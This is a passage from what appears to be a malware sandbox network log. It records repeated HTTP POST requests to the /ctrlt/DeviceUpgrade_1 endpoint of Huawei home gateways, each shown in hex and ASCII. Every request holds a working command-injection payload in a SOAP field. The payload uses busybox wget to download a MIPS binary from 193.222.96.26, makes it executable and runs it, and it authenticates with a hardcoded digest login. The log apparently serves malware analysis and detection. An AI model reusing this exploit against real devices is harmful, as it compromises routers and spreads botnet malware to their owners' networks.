xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:45.060647964 CET	1702	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:47.044334888 CET	1758	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:51.143800020 CET	1848	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:59.074712992 CET	2098	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:14.944475889 CET	2539	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	156.253.46.138	37215	192.168.2.23	42524

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:43.407335997 CET	1671	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:45.060647964 CET	1702	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:47.044334888 CET	1758	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:51.143800020 CET	1848	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
